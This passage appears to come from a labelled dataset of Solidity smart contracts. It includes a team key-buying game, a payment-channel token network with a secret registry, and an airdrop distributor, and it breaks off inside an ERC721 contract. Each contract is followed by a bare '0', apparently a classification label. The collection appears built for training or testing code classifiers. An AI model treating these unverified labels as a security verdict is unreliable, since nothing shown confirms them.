Banker_Address.deposit.value(_amount)(); } emit onFundCleared(_gameID, _amount, now); } function getPlayerInstWinning(uint256 _gameID, uint256 _pID, uint256 _team) public view isActivated(_gameID) isValidTeam(_gameID, _team) returns(uint256) { return ((((teams_[_gameID][_team].mask).mul(playerTeams_[_pID][_gameID][_team].keys)) / (1000000000000000000)).sub(playerTeams_[_pID][_gameID][_team].mask)); } function getPlayerPotWinning(uint256 _gameID, uint256 _pID, uint256 _team) public view isActivated(_gameID) isValidTeam(_gameID, _team) returns(uint256) { if (teams_[_gameID][_team].keys > 0) { return gameStatus_[_gameID].winningVaultFinal.mul(playerTeams_[_pID][_gameID][_team].keys) / teams_[_gameID][_team].keys; } else { return 0; } } function getGameStatus(uint256 _gameID) public view isActivated(_gameID) returns(uint256, bytes32[] memory, uint256[] memory, uint256[] memory, uint256[] memory) { uint256 _nt = game_[_gameID].numberOfTeams; bytes32[] memory _names = new bytes32[](_nt); uint256[] memory _keys = new uint256[](_nt); uint256[] memory _eth = new uint256[](_nt); uint256[] memory _keyPrice = new uint256[](_nt); uint256 i; for (i = 0; i < _nt; i++) { _names[i] = teams_[_gameID][i].name; _keys[i] = teams_[_gameID][i].keys; _eth[i] = teams_[_gameID][i].eth; _keyPrice[i] = getBuyPrice(_gameID, i, 1000000000000000000); } return (_nt, _names, _keys, _eth, _keyPrice); } function getPlayerStatus(uint256 _gameID, uint256 _pID) public view isActivated(_gameID) returns(bytes32, uint256[] memory, uint256[] memory, uint256[] memory, uint256[] memory) { uint256 _nt = game_[_gameID].numberOfTeams; uint256[] memory _eth = new uint256[](_nt); uint256[] memory _keys = new uint256[](_nt); uint256[] memory _instWin = new uint256[](_nt); uint256[] memory _potWin = new uint256[](_nt); uint256 i; for (i = 0; i < _nt; i++) { _eth[i] = playerTeams_[_pID][_gameID][i].eth; _keys[i] = playerTeams_[_pID][_gameID][i].keys; _instWin[i] = getPlayerInstWinning(_gameID, _pID, i); _potWin[i] = getPlayerPotWinning(_gameID, _pID, i); } return (BMBook.getPlayerName(_pID), _eth, _keys, _instWin, _potWin); } function getBuyPrice(uint256 _gameID, uint256 _team, uint256 _keys) public view isActivated(_gameID) isValidTeam(_gameID, _team) returns(uint256) { return ((teams_[_gameID][_team].keys.add(_keys)).ethRec(_keys)); } function getBuyPrices(uint256 _gameID, uint256[] memory _keys) public view isActivated(_gameID) returns(uint256, uint256[]) { uint256 _totalEth = 0; uint256 _nt = game_[_gameID].numberOfTeams; uint256[] memory _eth = new uint256[](_nt); uint256 i; require(_nt == _keys.length, "Incorrect number of teams"); for (i = 0; i < _nt; i++) { if (_keys[i] > 0) { _eth[i] = getBuyPrice(_gameID, i, _keys[i]); _totalEth = _totalEth.add(_eth[i]); } } return (_totalEth, _eth); } function getKeysfromETH(uint256 _gameID, uint256 _team, uint256 _eth) public view isActivated(_gameID) isValidTeam(_gameID, _team) returns(uint256) { return (teams_[_gameID][_team].eth).keysRec(_eth); } function getKeysFromETHs(uint256 _gameID, uint256[] memory _eths) public view isActivated(_gameID) returns(uint256, uint256[]) { uint256 _totalKeys = 0; uint256 _nt = game_[_gameID].numberOfTeams; uint256[] memory _keys = new uint256[](_nt); uint256 i; require(_nt == _eths.length, "Incorrect number of teams"); for (i = 0; i < _nt; i++) { if (_eths[i] > 0) { _keys[i] = getKeysfromETH(_gameID, i, _eths[i]); _totalKeys = _totalKeys.add(_keys[i]); } } return (_totalKeys, _keys); } function buysCore(uint256 _gameID, uint256 _pID, uint256[] memory _teamEth) private { uint256 _nt = game_[_gameID].numberOfTeams; uint256[] memory _keys = new uint256[](_nt); bytes32 _name = BMBook.getPlayerName(_pID); uint256 _totalEth = 0; uint256 i; require(_teamEth.length == _nt, "Number of teams is not correct"); for (i = 0; i < _nt; i++) { if (_teamEth[i] > 0) { _totalEth = _totalEth.add(_teamEth[i]); _keys[i] = (teams_[_gameID][i].eth).keysRec(_teamEth[i]); playerTeams_[_pID][_gameID][i].eth = _teamEth[i].add(playerTeams_[_pID][_gameID][i].eth); playerTeams_[_pID][_gameID][i].keys = _keys[i].add(playerTeams_[_pID][_gameID][i].keys); teams_[_gameID][i].eth = _teamEth[i].add(teams_[_gameID][i].eth); teams_[_gameID][i].keys = _keys[i].add(teams_[_gameID][i].keys); emit BMEvents.onPurchase(_gameID, _pID, msg.sender, _name, i, _teamEth[i], _keys[i], now); } } require(_totalEth == msg.value, "Total ETH is not the same as msg.value"); gameStatus_[_gameID].totalEth = _totalEth.add(gameStatus_[_gameID].totalEth); players_[_pID][_gameID].eth = _totalEth.add(players_[_pID][_gameID].eth); distributeAll(_gameID, _pID, _totalEth, _keys); } function distributeAll(uint256 _gameID, uint256 _pID, uint256 _totalEth, uint256[] memory _keys) private { uint256 _com = _totalEth / 20; uint256 _instPot = _totalEth.mul(15) / 100; uint256 _pot = _totalEth.mul(80) / 100; Banker_Address.deposit.value(_com)(); gameStatus_[_gameID].winningVaultInst = _instPot.add(gameStatus_[_gameID].winningVaultInst); gameStatus_[_gameID].winningVaultFinal = _pot.add(gameStatus_[_gameID].winningVaultFinal); uint256 _nt = _keys.length; for (uint256 i = 0; i < _nt; i++) { uint256 _newPot = _instPot.add(teams_[_gameID][i].dust); uint256 _dust = updateMasks(_gameID, _pID, i, _newPot, _keys[i]); teams_[_gameID][i].dust = _dust; } } function updateMasks(uint256 _gameID, uint256 _pID, uint256 _team, uint256 _gen, uint256 _keys) private returns(uint256) { if (teams_[_gameID][_team].keys > 0) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (teams_[_gameID][_team].keys); teams_[_gameID][_team].mask = _ppt.add(teams_[_gameID][_team].mask); updatePlayerMask(_gameID, _pID, _team, _ppt, _keys); return(_gen.sub((_ppt.mul(teams_[_gameID][_team].keys)) / (1000000000000000000))); } else { return _gen; } } function updatePlayerMask(uint256 _gameID, uint256 _pID, uint256 _team, uint256 _ppt, uint256 _keys) private { if (_keys > 0) { uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); playerTeams_[_pID][_gameID][_team].mask = (((teams_[_gameID][_team].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(playerTeams_[_pID][_gameID][_team].mask); } } function transferBanker(BMForwarderInterface banker) public onlyOwner() { if (banker != address(0)) { Banker_Address = banker; } } modifier isActivated(uint256 _gameID) { require(game_[_gameID].gameStartTime > 0, "Not activated yet"); require(game_[_gameID].gameStartTime <= now, "game not started yet"); _; } modifier isNotPaused(uint256 _gameID) { require(game_[_gameID].paused == false, "game is paused"); _; } modifier isNotClosed(uint256 _gameID) { require(game_[_gameID].closeTime == 0 || game_[_gameID].closeTime > now, "game is closed"); _; } modifier isOngoing(uint256 _gameID) { require(game_[_gameID].ended == false, "game is ended"); _; } modifier isEnded(uint256 _gameID) { require(game_[_gameID].ended == true, "game is not ended"); _; } modifier isHuman() { address _addr = msg.sender; require (_addr == tx.origin, "Human only"); uint256 _codeLength; assembly { _codeLength := extcodesize(_addr) } require(_codeLength == 0, "Human only"); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, "too little money"); require(_eth <= 100000000000000000000000, "too much money"); _; } modifier isValidTeam(uint256 _gameID, uint256 _team) { require(_team < game_[_gameID].numberOfTeams, "there is no such team"); _; } }
0
pragma solidity ^0.4.23; contract Utils { string constant public contract_version = "0.4.0"; function contractExists(address contract_address) public view returns (bool) { uint size; assembly { size := extcodesize(contract_address) } return size > 0; } } interface Token { function totalSupply() external view returns (uint256 supply); function balanceOf(address _owner) external view returns (uint256 balance); function transfer(address _to, uint256 _value) external returns (bool success); function transferFrom(address _from, address _to, uint256 _value) external returns (bool success); function approve(address _spender, uint256 _value) external returns (bool success); function allowance(address _owner, address _spender) external view returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); function decimals() external view returns (uint8 decimals); } library ECVerify { function ecverify(bytes32 hash, bytes signature) internal pure returns (address signature_address) { require(signature.length == 65); bytes32 r; bytes32 s; uint8 v; assembly { r := mload(add(signature, 32)) s := mload(add(signature, 64)) v := byte(0, mload(add(signature, 96))) } if (v < 27) { v += 27; } require(v == 27 || v == 28); signature_address = ecrecover(hash, v, r, s); require(signature_address != address(0x0)); return signature_address; } } contract SecretRegistry { string constant public contract_version = "0.4.0"; mapping(bytes32 => uint256) private secrethash_to_block; event SecretRevealed(bytes32 indexed secrethash, bytes32 secret); function registerSecret(bytes32 secret) public returns (bool) { bytes32 secrethash = keccak256(abi.encodePacked(secret)); if (secret == bytes32(0x0) || secrethash_to_block[secrethash] > 0) { return false; } secrethash_to_block[secrethash] = block.number; emit SecretRevealed(secrethash, secret); return true; } function registerSecretBatch(bytes32[] secrets) public returns (bool) { bool completeSuccess = true; for(uint i = 0; i < secrets.length; i++) { if(!registerSecret(secrets[i])) { completeSuccess = false; } } return completeSuccess; } function getSecretRevealBlockHeight(bytes32 secrethash) public view returns (uint256) { return secrethash_to_block[secrethash]; } } contract TokenNetwork is Utils { string constant public contract_version = "0.4.0"; Token public token; SecretRegistry public secret_registry; uint256 public chain_id; uint256 public settlement_timeout_min; uint256 public settlement_timeout_max; uint256 constant public MAX_SAFE_UINT256 = ( 115792089237316195423570985008687907853269984665640564039457584007913129639935 ); uint256 constant public channel_participant_deposit_limit = 75000000000000000 wei; uint256 constant public token_network_deposit_limit = 250000000000000000000 wei; uint256 public channel_counter; string public constant signature_prefix = '\x19Ethereum Signed Message:\n'; address public deprecation_executor; bool public safety_deprecation_switch = false; mapping (uint256 => Channel) public channels; mapping (bytes32 => uint256) public participants_hash_to_channel_identifier; mapping(bytes32 => UnlockData) private unlock_identifier_to_unlock_data; struct Participant { uint256 deposit; uint256 withdrawn_amount; bool is_the_closer; bytes32 balance_hash; uint256 nonce; } enum ChannelState { NonExistent, Opened, Closed, Settled, Removed } enum MessageTypeId { None, BalanceProof, BalanceProofUpdate, Withdraw, CooperativeSettle } struct Channel { uint256 settle_block_number; ChannelState state; mapping(address => Participant) participants; } struct SettlementData { uint256 deposit; uint256 withdrawn; uint256 transferred; uint256 locked; } struct UnlockData { bytes32 locksroot; uint256 locked_amount; } event ChannelOpened( uint256 indexed channel_identifier, address indexed participant1, address indexed participant2, uint256 settle_timeout ); event ChannelNewDeposit( uint256 indexed channel_identifier, address indexed participant, uint256 total_deposit ); event ChannelClosed( uint256 indexed channel_identifier, address indexed closing_participant, uint256 indexed nonce ); event ChannelUnlocked( uint256 indexed channel_identifier, address indexed participant, address indexed partner, bytes32 locksroot, uint256 unlocked_amount, uint256 returned_tokens ); event NonClosingBalanceProofUpdated( uint256 indexed channel_identifier, address indexed closing_participant, uint256 indexed nonce ); event ChannelSettled( uint256 indexed channel_identifier, uint256 participant1_amount, uint256 participant2_amount ); modifier onlyDeprecationExecutor() { require(msg.sender == deprecation_executor); _; } modifier isSafe() { require(safety_deprecation_switch == false); _; } modifier isOpen(uint256 channel_identifier) { require(channels[channel_identifier].state == ChannelState.Opened); _; } modifier settleTimeoutValid(uint256 timeout) { require(timeout >= settlement_timeout_min); require(timeout <= settlement_timeout_max); _; } constructor( address _token_address, address _secret_registry, uint256 _chain_id, uint256 _settlement_timeout_min, uint256 _settlement_timeout_max, address _deprecation_executor ) public { require(_token_address != address(0x0)); require(_secret_registry != address(0x0)); require(_deprecation_executor != address(0x0)); require(_chain_id > 0); require(_settlement_timeout_min > 0); require(_settlement_timeout_max > _settlement_timeout_min); require(contractExists(_token_address)); require(contractExists(_secret_registry)); token = Token(_token_address); secret_registry = SecretRegistry(_secret_registry); chain_id = _chain_id; settlement_timeout_min = _settlement_timeout_min; settlement_timeout_max = _settlement_timeout_max; require(token.totalSupply() > 0); deprecation_executor = _deprecation_executor; } function deprecate() isSafe onlyDeprecationExecutor public { safety_deprecation_switch = true; } function openChannel(address participant1, address participant2, uint256 settle_timeout) isSafe settleTimeoutValid(settle_timeout) public returns (uint256) { bytes32 pair_hash; uint256 channel_identifier; require(token.balanceOf(address(this)) < token_network_deposit_limit); channel_counter += 1; channel_identifier = channel_counter; pair_hash = getParticipantsHash(participant1, participant2); require(participants_hash_to_channel_identifier[pair_hash] == 0); participants_hash_to_channel_identifier[pair_hash] = channel_identifier; Channel storage channel = channels[channel_identifier]; assert(channel.settle_block_number == 0); assert(channel.state == ChannelState.NonExistent); channel.settle_block_number = settle_timeout; channel.state = ChannelState.Opened; emit ChannelOpened( channel_identifier, participant1, participant2, settle_timeout ); return channel_identifier; } function setTotalDeposit( uint256 channel_identifier, address participant, uint256 total_deposit, address partner ) isSafe isOpen(channel_identifier) public { require(channel_identifier == getChannelIdentifier(participant, partner)); require(total_deposit > 0); require(total_deposit <= channel_participant_deposit_limit); uint256 added_deposit; uint256 channel_deposit; Channel storage channel = channels[channel_identifier]; Participant storage participant_state = channel.participants[participant]; Participant storage partner_state = channel.participants[partner]; added_deposit = total_deposit - participant_state.deposit; require(added_deposit > 0); require(added_deposit <= total_deposit); assert(participant_state.deposit + added_deposit == total_deposit); require(token.balanceOf(address(this)) + added_deposit <= token_network_deposit_limit); participant_state.deposit = total_deposit; channel_deposit = participant_state.deposit + partner_state.deposit; require(channel_deposit >= participant_state.deposit); emit ChannelNewDeposit( channel_identifier, participant, participant_state.deposit ); require(token.transferFrom(msg.sender, address(this), added_deposit)); } function closeChannel( uint256 channel_identifier, address partner, bytes32 balance_hash, uint256 nonce, bytes32 additional_hash, bytes signature ) isOpen(channel_identifier) public { require(channel_identifier == getChannelIdentifier(msg.sender, partner)); address recovered_partner_address; Channel storage channel = channels[channel_identifier]; channel.state = ChannelState.Closed; channel.participants[msg.sender].is_the_closer = true; channel.settle_block_number += uint256(block.number); if (nonce > 0) { recovered_partner_address = recoverAddressFromBalanceProof( channel_identifier, balance_hash, nonce, additional_hash, signature ); require(partner == recovered_partner_address); updateBalanceProofData( channel, recovered_partner_address, nonce, balance_hash ); } emit ChannelClosed(channel_identifier, msg.sender, nonce); } function updateNonClosingBalanceProof( uint256 channel_identifier, address closing_participant, address non_closing_participant, bytes32 balance_hash, uint256 nonce, bytes32 additional_hash, bytes closing_signature, bytes non_closing_signature ) external { require(channel_identifier == getChannelIdentifier( closing_participant, non_closing_participant )); require(balance_hash != bytes32(0x0)); require(nonce > 0); address recovered_non_closing_participant; address recovered_closing_participant; Channel storage channel = channels[channel_identifier]; require(channel.state == ChannelState.Closed); require(channel.settle_block_number >= block.number); recovered_non_closing_participant = recoverAddressFromBalanceProofUpdateMessage( channel_identifier, balance_hash, nonce, additional_hash, closing_signature, non_closing_signature ); require(non_closing_participant == recovered_non_closing_participant); recovered_closing_participant = recoverAddressFromBalanceProof( channel_identifier, balance_hash, nonce, additional_hash, closing_signature ); require(closing_participant == recovered_closing_participant); Participant storage closing_participant_state = channel.participants[closing_participant]; require(closing_participant_state.is_the_closer); updateBalanceProofData(channel, closing_participant, nonce, balance_hash); emit NonClosingBalanceProofUpdated( channel_identifier, closing_participant, nonce ); } function settleChannel( uint256 channel_identifier, address participant1, uint256 participant1_transferred_amount, uint256 participant1_locked_amount, bytes32 participant1_locksroot, address participant2, uint256 participant2_transferred_amount, uint256 participant2_locked_amount, bytes32 participant2_locksroot ) public { require(channel_identifier == getChannelIdentifier(participant1, participant2)); bytes32 pair_hash; pair_hash = getParticipantsHash(participant1, participant2); Channel storage channel = channels[channel_identifier]; require(channel.state == ChannelState.Closed); require(channel.settle_block_number < block.number); Participant storage participant1_state = channel.participants[participant1]; Participant storage participant2_state = channel.participants[participant2]; require(verifyBalanceHashData( participant1_state, participant1_transferred_amount, participant1_locked_amount, participant1_locksroot )); require(verifyBalanceHashData( participant2_state, participant2_transferred_amount, participant2_locked_amount, participant2_locksroot )); ( participant1_transferred_amount, participant2_transferred_amount, participant1_locked_amount, participant2_locked_amount ) = getSettleTransferAmounts( participant1_state, participant1_transferred_amount, participant1_locked_amount, participant2_state, participant2_transferred_amount, participant2_locked_amount ); delete channel.participants[participant1]; delete channel.participants[participant2]; delete channels[channel_identifier]; delete participants_hash_to_channel_identifier[pair_hash]; storeUnlockData( channel_identifier, participant1, participant2, participant1_locked_amount, participant1_locksroot ); storeUnlockData( channel_identifier, participant2, participant1, participant2_locked_amount, participant2_locksroot ); emit ChannelSettled( channel_identifier, participant1_transferred_amount, participant2_transferred_amount ); if (participant1_transferred_amount > 0) { require(token.transfer(participant1, participant1_transferred_amount)); } if (participant2_transferred_amount > 0) { require(token.transfer(participant2, participant2_transferred_amount)); } } function unlock( uint256 channel_identifier, address participant, address partner, bytes merkle_tree_leaves ) public { require(channel_identifier != getChannelIdentifier(participant, partner)); require(channels[channel_identifier].state == ChannelState.NonExistent); require(merkle_tree_leaves.length > 0); bytes32 unlock_key; bytes32 computed_locksroot; uint256 unlocked_amount; uint256 locked_amount; uint256 returned_tokens; (computed_locksroot, unlocked_amount) = getMerkleRootAndUnlockedAmount( merkle_tree_leaves ); unlock_key = getUnlockIdentifier(channel_identifier, partner, participant); UnlockData storage unlock_data = unlock_identifier_to_unlock_data[unlock_key]; locked_amount = unlock_data.locked_amount; require(unlock_data.locksroot == computed_locksroot); require(locked_amount > 0); unlocked_amount = min(unlocked_amount, locked_amount); returned_tokens = locked_amount - unlocked_amount; delete unlock_identifier_to_unlock_data[unlock_key]; emit ChannelUnlocked( channel_identifier, participant, partner, computed_locksroot, unlocked_amount, returned_tokens ); if (unlocked_amount > 0) { require(token.transfer(participant, unlocked_amount)); } if (returned_tokens > 0) { require(token.transfer(partner, returned_tokens)); } assert(locked_amount >= returned_tokens); assert(locked_amount >= unlocked_amount); } function getChannelIdentifier(address participant, address partner) view public returns (uint256) { require(participant != address(0x0)); require(partner != address(0x0)); require(participant != partner); bytes32 pair_hash = getParticipantsHash(participant, partner); return participants_hash_to_channel_identifier[pair_hash]; } function getChannelInfo( uint256 channel_identifier, address participant1, address participant2 ) view external returns (uint256, ChannelState) { bytes32 unlock_key1; bytes32 unlock_key2; Channel storage channel = channels[channel_identifier]; ChannelState state = channel.state; if (state == ChannelState.NonExistent && channel_identifier > 0 && channel_identifier <= channel_counter ) { state = ChannelState.Settled; unlock_key1 = getUnlockIdentifier(channel_identifier, participant1, participant2); UnlockData storage unlock_data1 = unlock_identifier_to_unlock_data[unlock_key1]; unlock_key2 = getUnlockIdentifier(channel_identifier, participant2, participant1); UnlockData storage unlock_data2 = unlock_identifier_to_unlock_data[unlock_key2]; if (unlock_data1.locked_amount == 0 && unlock_data2.locked_amount == 0) { state = ChannelState.Removed; } } return ( channel.settle_block_number, state ); } function getChannelParticipantInfo( uint256 channel_identifier, address participant, address partner ) view external returns (uint256, uint256, bool, bytes32, uint256, bytes32, uint256) { bytes32 unlock_key; Participant storage participant_state = channels[channel_identifier].participants[ participant ]; unlock_key = getUnlockIdentifier(channel_identifier, participant, partner); UnlockData storage unlock_data = unlock_identifier_to_unlock_data[unlock_key]; return ( participant_state.deposit, participant_state.withdrawn_amount, participant_state.is_the_closer, participant_state.balance_hash, participant_state.nonce, unlock_data.locksroot, unlock_data.locked_amount ); } function getParticipantsHash(address participant, address partner) pure public returns (bytes32) { require(participant != address(0x0)); require(partner != address(0x0)); require(participant != partner); if (participant < partner) { return keccak256(abi.encodePacked(participant, partner)); } else { return keccak256(abi.encodePacked(partner, participant)); } } function getUnlockIdentifier( uint256 channel_identifier, address participant, address partner ) pure public returns (bytes32) { require(participant != partner); return keccak256(abi.encodePacked(channel_identifier, participant, partner)); } function updateBalanceProofData( Channel storage channel, address participant, uint256 nonce, bytes32 balance_hash ) internal { Participant storage participant_state = channel.participants[participant]; require(nonce > participant_state.nonce); participant_state.nonce = nonce; participant_state.balance_hash = balance_hash; } function storeUnlockData( uint256 channel_identifier, address participant, address partner, uint256 locked_amount, bytes32 locksroot ) internal { if (locked_amount == 0 || locksroot == 0) { return; } bytes32 key = getUnlockIdentifier(channel_identifier, participant, partner); UnlockData storage unlock_data = unlock_identifier_to_unlock_data[key]; unlock_data.locksroot = locksroot; unlock_data.locked_amount = locked_amount; } function getChannelAvailableDeposit( Participant storage participant1_state, Participant storage participant2_state ) view internal returns (uint256 total_available_deposit) { total_available_deposit = ( participant1_state.deposit + participant2_state.deposit - participant1_state.withdrawn_amount - participant2_state.withdrawn_amount ); } function getSettleTransferAmounts( Participant storage participant1_state, uint256 participant1_transferred_amount, uint256 participant1_locked_amount, Participant storage participant2_state, uint256 participant2_transferred_amount, uint256 participant2_locked_amount ) view private returns (uint256, uint256, uint256, uint256) { uint256 participant1_amount; uint256 participant2_amount; uint256 total_available_deposit; SettlementData memory participant1_settlement; SettlementData memory participant2_settlement; participant1_settlement.deposit = participant1_state.deposit; participant1_settlement.withdrawn = participant1_state.withdrawn_amount; participant1_settlement.transferred = participant1_transferred_amount; participant1_settlement.locked = participant1_locked_amount; participant2_settlement.deposit = participant2_state.deposit; participant2_settlement.withdrawn = participant2_state.withdrawn_amount; participant2_settlement.transferred = participant2_transferred_amount; participant2_settlement.locked = participant2_locked_amount; total_available_deposit = getChannelAvailableDeposit( participant1_state, participant2_state ); participant1_amount = getMaxPossibleReceivableAmount( participant1_settlement, participant2_settlement ); participant1_amount = min(participant1_amount, total_available_deposit); participant2_amount = total_available_deposit - participant1_amount; (participant1_amount, participant2_locked_amount) = failsafe_subtract( participant1_amount, participant2_locked_amount ); (participant2_amount, participant1_locked_amount) = failsafe_subtract( participant2_amount, participant1_locked_amount ); assert(participant1_amount <= total_available_deposit); assert(participant2_amount <= total_available_deposit); assert(total_available_deposit == ( participant1_amount + participant2_amount + participant1_locked_amount + participant2_locked_amount )); return ( participant1_amount, participant2_amount, participant1_locked_amount, participant2_locked_amount ); } function getMaxPossibleReceivableAmount( SettlementData participant1_settlement, SettlementData participant2_settlement ) pure internal returns (uint256) { uint256 participant1_max_transferred; uint256 participant2_max_transferred; uint256 participant1_net_max_received; uint256 participant1_max_amount; participant1_max_transferred = failsafe_addition( participant1_settlement.transferred, participant1_settlement.locked ); participant2_max_transferred = failsafe_addition( participant2_settlement.transferred, participant2_settlement.locked ); require(participant2_max_transferred >= participant1_max_transferred); assert(participant1_max_transferred >= participant1_settlement.transferred); assert(participant2_max_transferred >= participant2_settlement.transferred); participant1_net_max_received = ( participant2_max_transferred - participant1_max_transferred ); participant1_max_amount = failsafe_addition( participant1_net_max_received, participant1_settlement.deposit ); (participant1_max_amount, ) = failsafe_subtract( participant1_max_amount, participant1_settlement.withdrawn ); return participant1_max_amount; } function verifyBalanceHashData( Participant storage participant, uint256 transferred_amount, uint256 locked_amount, bytes32 locksroot ) view internal returns (bool) { if (participant.balance_hash == 0 && transferred_amount == 0 && locked_amount == 0 && locksroot == 0 ) { return true; } return participant.balance_hash == keccak256(abi.encodePacked( transferred_amount, locked_amount, locksroot )); } function recoverAddressFromBalanceProof( uint256 channel_identifier, bytes32 balance_hash, uint256 nonce, bytes32 additional_hash, bytes signature ) view internal returns (address signature_address) { string memory message_length = '212'; bytes32 message_hash = keccak256(abi.encodePacked( signature_prefix, message_length, address(this), chain_id, uint256(MessageTypeId.BalanceProof), channel_identifier, balance_hash, nonce, additional_hash )); signature_address = ECVerify.ecverify(message_hash, signature); } function recoverAddressFromBalanceProofUpdateMessage( uint256 channel_identifier, bytes32 balance_hash, uint256 nonce, bytes32 additional_hash, bytes closing_signature, bytes non_closing_signature ) view internal returns (address signature_address) { string memory message_length = '277'; bytes32 message_hash = keccak256(abi.encodePacked( signature_prefix, message_length, address(this), chain_id, uint256(MessageTypeId.BalanceProofUpdate), channel_identifier, balance_hash, nonce, additional_hash, closing_signature )); signature_address = ECVerify.ecverify(message_hash, non_closing_signature); } function getMerkleRootAndUnlockedAmount(bytes merkle_tree_leaves) view internal returns (bytes32, uint256) { uint256 length = merkle_tree_leaves.length; require(length % 96 == 0); uint256 i; uint256 total_unlocked_amount; uint256 unlocked_amount; bytes32 lockhash; bytes32 merkle_root; bytes32[] memory merkle_layer = new bytes32[](length / 96 + 1); for (i = 32; i < length; i += 96) { (lockhash, unlocked_amount) = getLockDataFromMerkleTree(merkle_tree_leaves, i); total_unlocked_amount += unlocked_amount; merkle_layer[i / 96] = lockhash; } length /= 96; while (length > 1) { if (length % 2 != 0) { merkle_layer[length] = merkle_layer[length - 1]; length += 1; } for (i = 0; i < length - 1; i += 2) { if (merkle_layer[i] == merkle_layer[i + 1]) { lockhash = merkle_layer[i]; } else if (merkle_layer[i] < merkle_layer[i + 1]) { lockhash = keccak256(abi.encodePacked(merkle_layer[i], merkle_layer[i + 1])); } else { lockhash = keccak256(abi.encodePacked(merkle_layer[i + 1], merkle_layer[i])); } merkle_layer[i / 2] = lockhash; } length = i / 2; } merkle_root = merkle_layer[0]; return (merkle_root, total_unlocked_amount); } function getLockDataFromMerkleTree(bytes merkle_tree_leaves, uint256 offset) view internal returns (bytes32, uint256) { uint256 expiration_block; uint256 locked_amount; uint256 reveal_block; bytes32 secrethash; bytes32 lockhash; if (merkle_tree_leaves.length <= offset) { return (lockhash, 0); } assembly { expiration_block := mload(add(merkle_tree_leaves, offset)) locked_amount := mload(add(merkle_tree_leaves, add(offset, 32))) secrethash := mload(add(merkle_tree_leaves, add(offset, 64))) } lockhash = keccak256(abi.encodePacked(expiration_block, locked_amount, secrethash)); reveal_block = secret_registry.getSecretRevealBlockHeight(secrethash); if (reveal_block == 0 || expiration_block <= reveal_block) { locked_amount = 0; } return (lockhash, locked_amount); } function min(uint256 a, uint256 b) pure internal returns (uint256) { return a > b ? b : a; } function max(uint256 a, uint256 b) pure internal returns (uint256) { return a > b ? a : b; } function failsafe_subtract(uint256 a, uint256 b) pure internal returns (uint256, uint256) { return a > b ? (a - b, b) : (0, a); } function failsafe_addition(uint256 a, uint256 b) pure internal returns (uint256) { uint256 sum = a + b; return sum >= a ? sum : MAX_SAFE_UINT256; } } contract TokenNetworkRegistry is Utils { string constant public contract_version = "0.4.0"; address public secret_registry_address; uint256 public chain_id; uint256 public settlement_timeout_min; uint256 public settlement_timeout_max; address public deprecation_executor; bool public token_network_created = false; mapping(address => address) public token_to_token_networks; event TokenNetworkCreated(address indexed token_address, address indexed token_network_address); modifier canCreateTokenNetwork() { require(token_network_created == false); _; } constructor( address _secret_registry_address, uint256 _chain_id, uint256 _settlement_timeout_min, uint256 _settlement_timeout_max ) public { require(_chain_id > 0); require(_settlement_timeout_min > 0); require(_settlement_timeout_max > 0); require(_settlement_timeout_max > _settlement_timeout_min); require(_secret_registry_address != address(0x0)); require(contractExists(_secret_registry_address)); secret_registry_address = _secret_registry_address; chain_id = _chain_id; settlement_timeout_min = _settlement_timeout_min; settlement_timeout_max = _settlement_timeout_max; deprecation_executor = msg.sender; } function createERC20TokenNetwork(address _token_address) canCreateTokenNetwork external returns (address token_network_address) { require(token_to_token_networks[_token_address] == address(0x0)); token_network_created = true; TokenNetwork token_network; token_network = new TokenNetwork( _token_address, secret_registry_address, chain_id, settlement_timeout_min, settlement_timeout_max, deprecation_executor ); token_network_address = address(token_network); token_to_token_networks[_token_address] = token_network_address; emit TokenNetworkCreated(_token_address, token_network_address); return token_network_address; } }
0
pragma solidity ^0.4.25; contract Token { function transfer(address receiver, uint amount) public; function balanceOf(address receiver)public returns(uint); } contract Axioms { Airdrop [] public airdrops; address public owner; constructor () public { owner = msg.sender; } modifier minEth { require(msg.value >= 200000000000000000); _; } modifier onlyOwner() { require(msg.sender == owner); _; } struct Airdrop { string name; uint id; uint tokenAmount; uint countDown; uint timeStamp; uint gasFeePaid; uint decimals; address distributor; Token tokenSC; } function addNewAirdrop( string _name, uint _tokenAmount, uint _countDown, address _smartContract, uint _decimals ) public minEth payable { Token t = Token(_smartContract); if(t.balanceOf(this)>=_tokenAmount){ uint lastIndex = airdrops.length++; Airdrop storage airdrop = airdrops[lastIndex]; airdrop.name=_name; airdrop.id =lastIndex; airdrop.decimals = _decimals; airdrop.tokenAmount = _tokenAmount; airdrop.countDown=_countDown; airdrop.gasFeePaid= msg.value; airdrop.timeStamp=now; airdrop.distributor = msg.sender; airdrop.tokenSC = Token(_smartContract); }else revert('Air Drop not added, Please make sure you send your ERC20 tokens to the smart contract before adding new airdrop'); } function distributeAirdrop( uint index, address[] _addrs, uint[] _vals ) public onlyOwner { Airdrop memory airdrop = airdrops[index]; if(airdrop.countDown <=now) { for(uint i = 0; i < _addrs.length; ++i) { airdrop.tokenSC.transfer(_addrs[i], _vals[i]); } } else revert("Distribution Failed: Count Down not gone yet"); } function refoundTokens( uint index ) public onlyOwner { Airdrop memory airdrop = airdrops[index]; airdrop.tokenSC.transfer(airdrop.distributor,airdrop.tokenAmount); } function transferGasFee(uint index) public onlyOwner { Airdrop memory airdrop = airdrops[index]; owner.transfer(airdrop.gasFeePaid); } }
0
pragma solidity ^0.4.18; contract AccessControl { address public owner; address[] public admins; modifier onlyOwner { require(msg.sender == owner); _; } modifier onlyAdmins { bool found = false; for (uint i = 0; i < admins.length; i++) { if (admins[i] == msg.sender) { found = true; break; } } require(found); _; } function addAdmin(address _adminAddress) public onlyOwner { admins.push(_adminAddress); } } contract ERC721 { function implementsERC721() public pure returns (bool); function totalSupply() public view returns (uint256); function balanceOf(address _owner) public view returns (uint256); function ownerOf(uint256 _tokenId) public view returns (address); function transfer(address _to, uint _tokenId) public; function approve(address _to, uint256 _tokenId) public; function transferFrom(address _from, address _to, uint256 _tokenId) public; function name() public pure returns (string); function symbol() public pure returns (string); function tokenOfOwnerByIndex(address _owner, uint256 _index) public view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); } contract TulipBase is AccessControl { struct Tulip { uint256 genes; uint256 createTime; bytes32 name; } Tulip[] public tulips; mapping (uint256 => address) public tulipToOwner; mapping (address => uint256[]) internal 